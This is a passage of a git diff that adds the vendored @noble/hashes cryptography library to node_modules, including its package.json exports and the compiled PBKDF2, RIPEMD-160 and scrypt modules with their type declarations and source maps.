"./sha1.js" + }, + "./sha3-addons": { + "types": "./sha3-addons.d.ts", + "import": "./esm/sha3-addons.js", + "default": "./sha3-addons.js" + }, + "./sha3": { + "types": "./sha3.d.ts", + "import": "./esm/sha3.js", + "default": "./sha3.js" + }, + "./sha256": { + "types": "./sha256.d.ts", + "import": "./esm/sha256.js", + "default": "./sha256.js" + }, + "./sha512": { + "types": "./sha512.d.ts", + "import": "./esm/sha512.js", + "default": "./sha512.js" + }, + "./utils": { + "types": "./utils.d.ts", + "import": "./esm/utils.js", + "default": "./utils.js" + } + }, + "keywords": [ + "sha", + "sha2", + "sha3", + "sha256", + "sha512", + "keccak", + "kangarootwelve", + "ripemd160", + "blake2", + "blake3", + "hmac", + "hkdf", + "pbkdf2", + "scrypt", + "kdf", + "hash", + "cryptography", + "security", + "noble" + ], + "funding": "https://paulmillr.com/funding/" +} diff --git a/node_modules/@noble/hashes/pbkdf2.d.ts b/node_modules/@noble/hashes/pbkdf2.d.ts new file mode 100644 index 000000000000..42f691ce9ef9 --- /dev/null +++ b/node_modules/@noble/hashes/pbkdf2.d.ts @@ -0,0 +1,15 @@ +import { CHash, Input } from './utils.js'; +export type Pbkdf2Opt = { + c: number; + dkLen?: number; + asyncTick?: number; +}; +/** + * PBKDF2-HMAC: RFC 2898 key derivation function + * @param hash - hash function that would be used e.g. sha256 + * @param password - password from which a derived key is generated + * @param salt - cryptographic salt + * @param opts - {c, dkLen} where c is work factor and dkLen is output message size + */ +export declare function pbkdf2(hash: CHash, password: Input, salt: Input, opts: Pbkdf2Opt): Uint8Array; +export declare function pbkdf2Async(hash: CHash, password: Input, salt: Input, opts: Pbkdf2Opt): Promise; diff --git a/node_modules/@noble/hashes/pbkdf2.js b/node_modules/@noble/hashes/pbkdf2.js new file mode 100644 index 000000000000..a667178867fe --- /dev/null +++ b/node_modules/@noble/hashes/pbkdf2.js @@ -0,0 +1,91 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.pbkdf2Async = exports.pbkdf2 = void 0; +const _assert_js_1 = require("./_assert.js"); +const hmac_js_1 = require("./hmac.js"); +const utils_js_1 = require("./utils.js"); +// Common prologue and epilogue for sync/async functions +function pbkdf2Init(hash, _password, _salt, _opts) { + (0, _assert_js_1.hash)(hash); + const opts = (0, utils_js_1.checkOpts)({ dkLen: 32, asyncTick: 10 }, _opts); + const { c, dkLen, asyncTick } = opts; + (0, _assert_js_1.number)(c); + (0, _assert_js_1.number)(dkLen); + (0, _assert_js_1.number)(asyncTick); + if (c < 1) + throw new Error('PBKDF2: iterations (c) should be >= 1'); + const password = (0, utils_js_1.toBytes)(_password); + const salt = (0, utils_js_1.toBytes)(_salt); + // DK = PBKDF2(PRF, Password, Salt, c, dkLen); + const DK = new Uint8Array(dkLen); + // U1 = PRF(Password, Salt + INT_32_BE(i)) + const PRF = hmac_js_1.hmac.create(hash, password); + const PRFSalt = PRF._cloneInto().update(salt); + return { c, dkLen, asyncTick, DK, PRF, PRFSalt }; +} +function pbkdf2Output(PRF, PRFSalt, DK, prfW, u) { + PRF.destroy(); + PRFSalt.destroy(); + if (prfW) + prfW.destroy(); + u.fill(0); + return DK; +} +/** + * PBKDF2-HMAC: RFC 2898 key derivation function + * @param hash - hash function that would be used e.g. sha256 + * @param password - password from which a derived key is generated + * @param salt - cryptographic salt + * @param opts - {c, dkLen} where c is work factor and dkLen is output message size + */ +function pbkdf2(hash, password, salt, opts) { + const { c, dkLen, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW; // Working copy + const arr = new Uint8Array(4); + const view = (0, utils_js_1.createView)(arr); + const u = new Uint8Array(PRF.outputLen); + // DK = T1 + T2 + ⋯ + Tdklen/hlen + for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) { + // Ti = F(Password, Salt, c, i) + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc + // U1 = PRF(Password, Salt + INT_32_BE(i)) + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + for (let ui = 1; ui < c; ui++) { + // Uc = PRF(Password, Uc−1) + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0; i < Ti.length; i++) + Ti[i] ^= u[i]; + } + } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); +} +exports.pbkdf2 = pbkdf2; +async function pbkdf2Async(hash, password, salt, opts) { + const { c, dkLen, asyncTick, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW; // Working copy + const arr = new Uint8Array(4); + const view = (0, utils_js_1.createView)(arr); + const u = new Uint8Array(PRF.outputLen); + // DK = T1 + T2 + ⋯ + Tdklen/hlen + for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) { + // Ti = F(Password, Salt, c, i) + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc + // U1 = PRF(Password, Salt + INT_32_BE(i)) + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + await (0, utils_js_1.asyncLoop)(c - 1, asyncTick, () => { + // Uc = PRF(Password, Uc−1) + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0; i < Ti.length; i++) + Ti[i] ^= u[i]; + }); + } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); +} +exports.pbkdf2Async = pbkdf2Async; +//# sourceMappingURL=pbkdf2.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/pbkdf2.js.map b/node_modules/@noble/hashes/pbkdf2.js.map new file mode 100644 index 000000000000..a8f30b0f61ab --- /dev/null +++ b/node_modules/@noble/hashes/pbkdf2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"pbkdf2.js","sourceRoot":"","sources":["src/pbkdf2.ts"],"names":[],"mappings":";;;AAAA,6CAA0E;AAC1E,uCAAiC;AACjC,yCAA2F;AAQ3F,wDAAwD;AACxD,SAAS,UAAU,CAAC,IAAW,EAAE,SAAgB,EAAE,KAAY,EAAE,KAAgB;IAC/E,IAAA,iBAAU,EAAC,IAAI,CAAC,CAAC;IACjB,MAAM,IAAI,GAAG,IAAA,oBAAS,EAAC,EAAE,KAAK,EAAE,EAAE,EAAE,SAAS,EAAE,EAAE,EAAE,EAAE,KAAK,CAAC,CAAC;IAC5D,MAAM,EAAE,CAAC,EAAE,KAAK,EAAE,SAAS,EAAE,GAAG,IAAI,CAAC;IACrC,IAAA,mBAAY,EAAC,CAAC,CAAC,CAAC;IAChB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rC,2BAA2B;YAC3B,GAAG,CAAC,UAAU,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC;YAC7C,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,EAAE,CAAC,MAAM,EAAE,CAAC,EAAE;gBAAE,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC;QACpD,CAAC,CAAC,CAAC;KACJ;IACD,OAAO,YAAY,CAAC,GAAG,EAAE,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;AACjD,CAAC;AAtBD,kCAsBC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/ripemd160.d.ts b/node_modules/@noble/hashes/ripemd160.d.ts new file mode 100644 index 000000000000..92e662f9c6c0 --- /dev/null +++ b/node_modules/@noble/hashes/ripemd160.d.ts @@ -0,0 +1,24 @@ +import { SHA2 } from './_sha2.js'; +export declare class RIPEMD160 extends SHA2 { + private h0; + private h1; + private h2; + private h3; + private h4; + constructor(); + protected get(): [number, number, number, number, number]; + protected set(h0: number, h1: number, h2: number, h3: number, h4: number): void; + protected process(view: DataView, offset: number): void; + protected roundClean(): void; + destroy(): void; +} +/** + * RIPEMD-160 - a hash function from 1990s. + * @param message - msg that would be hashed + */ +export declare const ripemd160: { + (msg: import("./utils.js").Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): import("./utils.js").Hash; +}; diff --git a/node_modules/@noble/hashes/ripemd160.js b/node_modules/@noble/hashes/ripemd160.js new file mode 100644 index 000000000000..7d6e057b4a66 --- /dev/null +++ b/node_modules/@noble/hashes/ripemd160.js @@ -0,0 +1,108 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ripemd160 = exports.RIPEMD160 = void 0; +const _sha2_js_1 = require("./_sha2.js"); +const utils_js_1 = require("./utils.js"); +// https://homes.esat.kuleuven.be/~bosselae/ripemd160.html +// https://homes.esat.kuleuven.be/~bosselae/ripemd160/pdf/AB-9601/AB-9601.pdf +const Rho = /* @__PURE__ */ new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]); +const Id = /* @__PURE__ */ Uint8Array.from({ length: 16 }, (_, i) => i); +const Pi = /* @__PURE__ */ Id.map((i) => (9 * i + 5) % 16); +let idxL = [Id]; +let idxR = [Pi]; +for (let i = 0; i < 4; i++) + for (let j of [idxL, idxR]) + j.push(j[i].map((k) => Rho[k])); +const shifts = /* @__PURE__ */ [ + [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8], + [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7], + [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9], + [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6], + [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5], +].map((i) => new Uint8Array(i)); +const shiftsL = /* @__PURE__ */ idxL.map((idx, i) => idx.map((j) => shifts[i][j])); +const shiftsR = /* @__PURE__ */ idxR.map((idx, i) => idx.map((j) => shifts[i][j])); +const Kl = /* @__PURE__ */ new Uint32Array([ + 0x00000000, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e, +]); +const Kr = /* @__PURE__ */ new Uint32Array([ + 0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x00000000, +]); +// The rotate left (circular left shift) operation for uint32 +const rotl = (word, shift) => (word << shift) | (word >>> (32 - shift)); +// It's called f() in spec. +function f(group, x, y, z) { + if (group === 0) + return x ^ y ^ z; + else if (group === 1) + return (x & y) | (~x & z); + else if (group === 2) + return (x | ~y) ^ z; + else if (group === 3) + return (x & z) | (y & ~z); + else + return x ^ (y | ~z); +} +// Temporary buffer, not used to store anything between runs +const BUF = /* @__PURE__ */ new Uint32Array(16); +class RIPEMD160 extends _sha2_js_1.SHA2 { + constructor() { + super(64, 20, 8, true); + this.h0 = 0x67452301 | 0; + this.h1 = 0xefcdab89 | 0; + this.h2 = 0x98badcfe | 0; + this.h3 = 0x10325476 | 0; + this.h4 = 0xc3d2e1f0 | 0; + } + get() { + const { h0, h1, h2, h3, h4 } = this; + return [h0, h1, h2, h3, h4]; + } + set(h0, h1, h2, h3, h4) { + this.h0 = h0 | 0; + this.h1 = h1 | 0; + this.h2 = h2 | 0; + this.h3 = h3 | 0; + this.h4 = h4 | 0; + } + process(view, offset) { + for (let i = 0; i < 16; i++, offset += 4) + BUF[i] = view.getUint32(offset, true); + // prettier-ignore + let al = this.h0 | 0, ar = al, bl = this.h1 | 0, br = bl, cl = this.h2 | 0, cr = cl, dl = this.h3 | 0, dr = dl, el = this.h4 | 0, er = el; + // Instead of iterating 0 to 80, we split it into 5 groups + // And use the groups in constants, functions, etc. Much simpler + for (let group = 0; group < 5; group++) { + const rGroup = 4 - group; + const hbl = Kl[group], hbr = Kr[group]; // prettier-ignore + const rl = idxL[group], rr = idxR[group]; // prettier-ignore + const sl = shiftsL[group], sr = shiftsR[group]; // prettier-ignore + for (let i = 0; i < 16; i++) { + const tl = (rotl(al + f(group, bl, cl, dl) + BUF[rl[i]] + hbl, sl[i]) + el) | 0; + al = el, el = dl, dl = rotl(cl, 10) | 0, cl = bl, bl = tl; // prettier-ignore + } + // 2 loops are 10% faster + for (let i = 0; i < 16; i++) { + const tr = (rotl(ar + f(rGroup, br, cr, dr) + BUF[rr[i]] + hbr, sr[i]) + er) | 0; + ar = er, er = dr, dr = rotl(cr, 10) | 0, cr = br, br = tr; // prettier-ignore + } + } + // Add the compressed chunk to the current hash value + this.set((this.h1 + cl + dr) | 0, (this.h2 + dl + er) | 0, (this.h3 + el + ar) | 0, (this.h4 + al + br) | 0, (this.h0 + bl + cr) | 0); + } + roundClean() { + BUF.fill(0); + } + destroy() { + this.destroyed = true; + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0); + } +} +exports.RIPEMD160 = RIPEMD160; +/** + * RIPEMD-160 - a hash function from 1990s. + * @param message - msg that would be hashed + */ +exports.ripemd160 = (0, utils_js_1.wrapConstructor)(() => new RIPEMD160()); +//# sourceMappingURL=ripemd160.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/ripemd160.js.map b/node_modules/@noble/hashes/ripemd160.js.map new file mode 100644 index 000000000000..396a51707b88 --- /dev/null +++ b/node_modules/@noble/hashes/ripemd160.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ripemd160.js","sourceRoot":"","sources":["src/ripemd160.ts"],"names":[],"mappings":";;;AAAA,yCAAkC;AAClC,yCAA6C;AAE7C,0DAA0D;AAC1D,6EAA6E;AAC7E,MAAM,GAAG,GAAG,eAAe,CAAC,IAAI,UAAU,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC;AACnG,MAAM,EAAE,GAAG,eAAe,CAAC,UAAU,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,EAAE,EAAE,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC;AACxE,MAAM,EAAE,GAAG,eAAe,CAAC,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,GAAG,EAAE,CAAC,CAAC;AAC3D,IAAI,IAAI,GAAG,CAAC,EAAE,CAAC,CAAC;AAChB,IAAI,IAAI,GAAG,CAAC,EAAE,CAAC,CAAC;AAChB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,CAAC,EAAE,CAAC,EAAE;IAAE,KAA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IAAI,CAAC,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,GAAG,CAAC,EACvB,CAAC,IAAI,CAAC,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,GAAG,CAAC,EACvB,CAAC,IAAI,CAAC,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,GAAG,CAAC,CACxB,CAAC;IACJ,CAAC;IACS,UAAU;QAClB,GAAG,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACd,CAAC;IACD,OAAO;QACL,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;QACtB,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QACpB,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC;IAC1B,CAAC;CACF;AAhED,8BAgEC;AAED;;;GAGG;AACU,QAAA,SAAS,GAAmB,IAAA,0BAAe,EAAC,GAAG,EAAE,CAAC,IAAI,SAAS,EAAE,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/scrypt.d.ts b/node_modules/@noble/hashes/scrypt.d.ts new file mode 100644 index 000000000000..82485b3dbabc --- /dev/null +++ b/node_modules/@noble/hashes/scrypt.d.ts @@ -0,0 +1,29 @@ +import { Input } from './utils.js'; +export type ScryptOpts = { + N: number; + r: number; + p: number; + dkLen?: number; + asyncTick?: number; + maxmem?: number; + onProgress?: (progress: number) => void; +}; +/** + * Scrypt KDF from RFC 7914. + * @param password - pass + * @param salt - salt + * @param opts - parameters + * - `N` is cpu/mem work factor (power of 2 e.g. 2**18) + * - `r` is block size (8 is common), fine-tunes sequential memory read size and performance + * - `p` is parallelization factor (1 is common) + * - `dkLen` is output key length in bytes e.g. 32. + * - `asyncTick` - (default: 10) max time in ms for which async function can block execution + * - `maxmem` - (default: `1024 ** 3 + 1024` aka 1GB+1KB). A limit that the app could use for scrypt + * - `onProgress` - callback function that would be executed for progress report + * @returns Derived key + */ +export declare function scrypt(password: Input, salt: Input, opts: ScryptOpts): Uint8Array; +/** + * Scrypt KDF from RFC 7914. + */ +export declare function scryptAsync(password: Input, salt: Input, opts: ScryptOpts): Promise; diff --git a/node_modules/@noble/hashes/scrypt.js b/node_modules/@noble/hashes/scrypt.js new file mode 100644 index 000000000000..2f118db2cf7f --- /dev/null +++ b/node_modules/@noble/hashes/scrypt.js @@ -0,0 +1,223 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.scryptAsync = exports.scrypt = void 0; +const _assert_js_1 = require("./_assert.js"); +const sha256_js_1 = require("./sha256.js"); +const pbkdf2_js_1 = require("./pbkdf2.js"); +const utils_js_1 = require("./utils.js"); +// RFC 7914 Scrypt KDF +// Left rotate for uint32 +const rotl = (a, b) => (a << b) | (a >>> (32 - b)); +// The main Scrypt loop: uses Salsa extensively. +// Six versions of the function were tried, this is the fastest one. +// prettier-ignore +function XorAndSalsa(prev, pi, input, ii, out, oi) { + // Based on https://cr.yp.to/salsa20.html + // Xor blocks + let y00 = prev[pi++] ^ input[ii++], y01 = prev[pi++] ^ input[ii++]; + let y02 = prev[pi++] ^ input[ii++], y03 = prev[pi++] ^ input[ii++]; + let y04 = prev[pi++] ^ input[ii++], y05 = prev[pi++] ^ input[ii++]; + let y06 = prev[pi++] ^ input[ii++], y07 = prev[pi++] ^ input[ii++]; + let y08 = prev[pi++] ^ input[ii++], y09 = prev[pi++] ^ input[ii++]; + let y10 = prev[pi++] ^ input[ii++], y11 = prev[pi++] ^ input[ii++]; + let y12 = prev[pi++] ^ input[ii++], y13 = prev[pi++] ^ input[ii++]; + let y14 = prev[pi++] ^ input[ii++], y15 = prev[pi++] ^ input[ii++]; + // Save state to temporary variables (salsa) + let x00 = y00, x01 = y01, x02 = y02, x03 = y03, x04 = y04, x05 = y05, x06 = y06, x07 = y07, x08 = y08, x09 = y09, x10 = y10, x11 = y11, x12 = y12, x13 = y13, x14 = y14, x15 = y15; + // Main loop (salsa) + for (let i = 0; i < 8; i += 2) { + x04 ^= rotl(x00 + x12 | 0, 7); + x08 ^= rotl(x04 + x00 | 0, 9); + x12 ^= rotl(x08 + x04 | 0, 13); + x00 ^= rotl(x12 + x08 | 0, 18); + x09 ^= rotl(x05 + x01 | 0, 7); + x13 ^= rotl(x09 + x05 | 0, 9); + x01 ^= rotl(x13 + x09 | 0, 13); + x05 ^= rotl(x01 + x13 | 0, 18); + x14 ^= rotl(x10 + x06 | 0, 7); + x02 ^= rotl(x14 + x10 | 0, 9); + x06 ^= rotl(x02 + x14 | 0, 13); + x10 ^= rotl(x06 + x02 | 0, 18); + x03 ^= rotl(x15 + x11 | 0, 7); + x07 ^= rotl(x03 + x15 | 0, 9); + x11 ^= rotl(x07 + x03 | 0, 13); + x15 ^= rotl(x11 + x07 | 0, 18); + x01 ^= rotl(x00 + x03 | 0, 7); + x02 ^= rotl(x01 + x00 | 0, 9); + x03 ^= rotl(x02 + x01 | 0, 13); + x00 ^= rotl(x03 + x02 | 0, 18); + x06 ^= rotl(x05 + x04 | 0, 7); + x07 ^= rotl(x06 + x05 | 0, 9); + x04 ^= rotl(x07 + x06 | 0, 13); + x05 ^= rotl(x04 + x07 | 0, 18); + x11 ^= rotl(x10 + x09 | 0, 7); + x08 ^= rotl(x11 + x10 | 0, 9); + x09 ^= rotl(x08 + x11 | 0, 13); + x10 ^= rotl(x09 + x08 | 0, 18); + x12 ^= rotl(x15 + x14 | 0, 7); + x13 ^= rotl(x12 + x15 | 0, 9); + x14 ^= rotl(x13 + x12 | 0, 13); + x15 ^= rotl(x14 + x13 | 0, 18); + } + // Write output (salsa) + out[oi++] = (y00 + x00) | 0; + out[oi++] = (y01 + x01) | 0; + out[oi++] = (y02 + x02) | 0; + out[oi++] = (y03 + x03) | 0; + out[oi++] = (y04 + x04) | 0; + out[oi++] = (y05 + x05) | 0; + out[oi++] = (y06 + x06) | 0; + out[oi++] = (y07 + x07) | 0; + out[oi++] = (y08 + x08) | 0; + out[oi++] = (y09 + x09) | 0; + out[oi++] = (y10 + x10) | 0; + out[oi++] = (y11 + x11) | 0; + out[oi++] = (y12 + x12) | 0; + out[oi++] = (y13 + x13) | 0; + out[oi++] = (y14 + x14) | 0; + out[oi++] = (y15 + x15) | 0; +} +function BlockMix(input, ii, out, oi, r) { + // The block B is r 128-byte chunks (which is equivalent of 2r 64-byte chunks) + let head = oi + 0; + let tail = oi + 16 * r; + for (let i = 0; i < 16; i++) + out[tail + i] = input[ii + (2 * r - 1) * 16 + i]; // X ← B[2r−1] + for (let i = 0; i < r; i++, head += 16, ii += 16) { + // We write odd & even Yi at same time. Even: 0bXXXXX0 Odd: 0bXXXXX1 + XorAndSalsa(out, tail, input, ii, out, head); // head[i] = Salsa(blockIn[2*i] ^ tail[i-1]) + if (i > 0) + tail += 16; // First iteration overwrites tmp value in tail + XorAndSalsa(out, head, input, (ii += 16), out, tail); // tail[i] = Salsa(blockIn[2*i+1] ^ head[i]) + } +} +// Common prologue and epilogue for sync/async functions +function scryptInit(password, salt, _opts) { + // Maxmem - 1GB+1KB by default + const opts = (0, utils_js_1.checkOpts)({ + dkLen: 32, + asyncTick: 10, + maxmem: 1024 ** 3 + 1024, + }, _opts); + const { N, r, p, dkLen, asyncTick, maxmem, onProgress } = opts; + (0, _assert_js_1.number)(N); + (0, _assert_js_1.number)(r); + (0, _assert_js_1.number)(p); + (0, _assert_js_1.number)(dkLen); + (0, _assert_js_1.number)(asyncTick); + (0, _assert_js_1.number)(maxmem); + if (onProgress !== undefined && typeof onProgress !== 'function') + throw new Error('progressCb should be function'); + const blockSize = 128 * r; + const blockSize32 = blockSize / 4; + if (N <= 1 || (N & (N - 1)) !== 0 || N >= 2 ** (blockSize / 8) || N > 2 ** 32) { + // NOTE: we limit N to be less than 2**32 because of 32 bit variant of Integrify function + // There is no JS engines that allows alocate more than 4GB per single Uint8Array for now, but can change in future. + throw new Error('Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32'); + } + if (p < 0 || p > ((2 ** 32 - 1) * 32) / blockSize) { + throw new Error('Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)'); + } + if (dkLen < 0 || dkLen > (2 ** 32 - 1) * 32) { + throw new Error('Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32'); + } + const memUsed = blockSize * (N + p); + if (memUsed > maxmem) { + throw new Error(`Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)`); + } + // [B0...Bp−1] ← PBKDF2HMAC-SHA256(Passphrase, Salt, 1, blockSize*ParallelizationFactor) + // Since it has only one iteration there is no reason to use async variant + const B = (0, pbkdf2_js_1.pbkdf2)(sha256_js_1.sha256, password, salt, { c: 1, dkLen: blockSize * p }); + const B32 = (0, utils_js_1.u32)(B); + // Re-used between parallel iterations. Array(iterations) of B + const V = (0, utils_js_1.u32)(new Uint8Array(blockSize * N)); + const tmp = (0, utils_js_1.u32)(new Uint8Array(blockSize)); + let blockMixCb = () => { }; + if (onProgress) { + const totalBlockMix = 2 * N * p; + // Invoke callback if progress changes from 10.01 to 10.02 + // Allows to draw smooth progress bar on up to 8K screen + const callbackPer = Math.max(Math.floor(totalBlockMix / 10000), 1); + let blockMixCnt = 0; + blockMixCb = () => { + blockMixCnt++; + if (onProgress && (!(blockMixCnt % callbackPer) || blockMixCnt === totalBlockMix)) + onProgress(blockMixCnt / totalBlockMix); + }; + } + return { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick }; +} +function scryptOutput(password, dkLen, B, V, tmp) { + const res = (0, pbkdf2_js_1.pbkdf2)(sha256_js_1.sha256, password, B, { c: 1, dkLen }); + B.fill(0); + V.fill(0); + tmp.fill(0); + return res; +} +/** + * Scrypt KDF from RFC 7914. + * @param password - pass + * @param salt - salt + * @param opts - parameters + * - `N` is cpu/mem work factor (power of 2 e.g. 2**18) + * - `r` is block size (8 is common), fine-tunes sequential memory read size and performance + * - `p` is parallelization factor (1 is common) + * - `dkLen` is output key length in bytes e.g. 32. + * - `asyncTick` - (default: 10) max time in ms for which async function can block execution + * - `maxmem` - (default: `1024 ** 3 + 1024` aka 1GB+1KB). A limit that the app could use for scrypt + * - `onProgress` - callback function that would be executed for progress report + * @returns Derived key + */ +function scrypt(password, salt, opts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb } = scryptInit(password, salt, opts); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) + V[i] = B32[Pi + i]; // V[0] = B[i] + for (let i = 0, pos = 0; i < N - 1; i++) { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + } + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + for (let i = 0; i < N; i++) { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) + tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + } + } + return scryptOutput(password, dkLen, B, V, tmp); +} +exports.scrypt = scrypt; +/** + * Scrypt KDF from RFC 7914. + */ +async function scryptAsync(password, salt, opts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick } = scryptInit(password, salt, opts); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) + V[i] = B32[Pi + i]; // V[0] = B[i] + let pos = 0; + await (0, utils_js_1.asyncLoop)(N - 1, asyncTick, () => { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + }); + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + await (0, utils_js_1.asyncLoop)(N, asyncTick, () => { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) + tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + }); + } + return scryptOutput(password, dkLen, B, V, tmp); +} +exports.scryptAsync = scryptAsync; +//# sourceMappingURL=scrypt.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/scrypt.js.map b/node_modules/@noble/hashes/scrypt.js.map new file mode 100644 index 000000000000..873dc15e6c42 --- /dev/null +++ b/node_modules/@noble/hashes/scrypt.js.map @@ -0,0 +1 @@ +{"version":3,"file":"scrypt.js","sourceRoot":"","sources":["src/scrypt.ts"],"names":[],"mappings":";;;AAAA,6CAAsD;AACtD,2CAAqC;AACrC,2CAAqC;AACrC,yCAA8D;AAE9D,sBAAsB;AAEtB,yBAAyB;AACzB,MAAM,IAAI,GAAG,CAAC,CAAS,EAAE,CAAS,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,GAAG,CAAC,CAAC,KAAK,CAAC,EAAE,GAAG,CAAC,CAAC,CAAC,CAAC;AAEnE,gDAAgD;AAChD,oEAAoE;AACpE,kBAAkB;AAClB,SAAS,WAAW,CAClB,IAAiB,EACjB,EAAU,EACV,KAAkB,EAClB,EAAU,EACV,GAAgB,EAChB,EAAU;IAEV,yCAAyC;IACzC,aAAa;IACb,IAAI,GAAG,GAAG,IAAI,CAAC,EAAE,EAAE,CAAC,GAAG,KAAK,CAAC,EAAE,EAAE,CAAC,EAAE,GAAG,GAAG,IAAI,CAAC,EAAE,EAAE,CAAC,GAAG,KAAK,CAAC,EAAE,EAAE,CAAC,CAAC;IACnE,IAAI,GAAG,GAAG,IAAI,CAAC,EAAE,EAAE,CAAC,GAAG,KAAK,CAAC,EAAE,EAAE,CAAC,EAAE,GAAG,GAAG,IAAI,CAAC,EAAE,EAAE,CAAC,GAAG,KAAK,CAAC,E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AAG,CAAC,EAAE,SAAS,EAAE,GAAG,EAAE;YACrC,QAAQ,CAAC,CAAC,EAAE,GAAG,EAAE,CAAC,EAAE,CAAC,GAAG,IAAI,WAAW,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,2BAA2B;YACzE,UAAU,EAAE,CAAC;QACf,CAAC,CAAC,CAAC;QACH,QAAQ,CAAC,CAAC,EAAE,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,WAAW,EAAE,GAAG,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,uBAAuB;QACvE,UAAU,EAAE,CAAC;QACb,MAAM,IAAA,oBAAS,E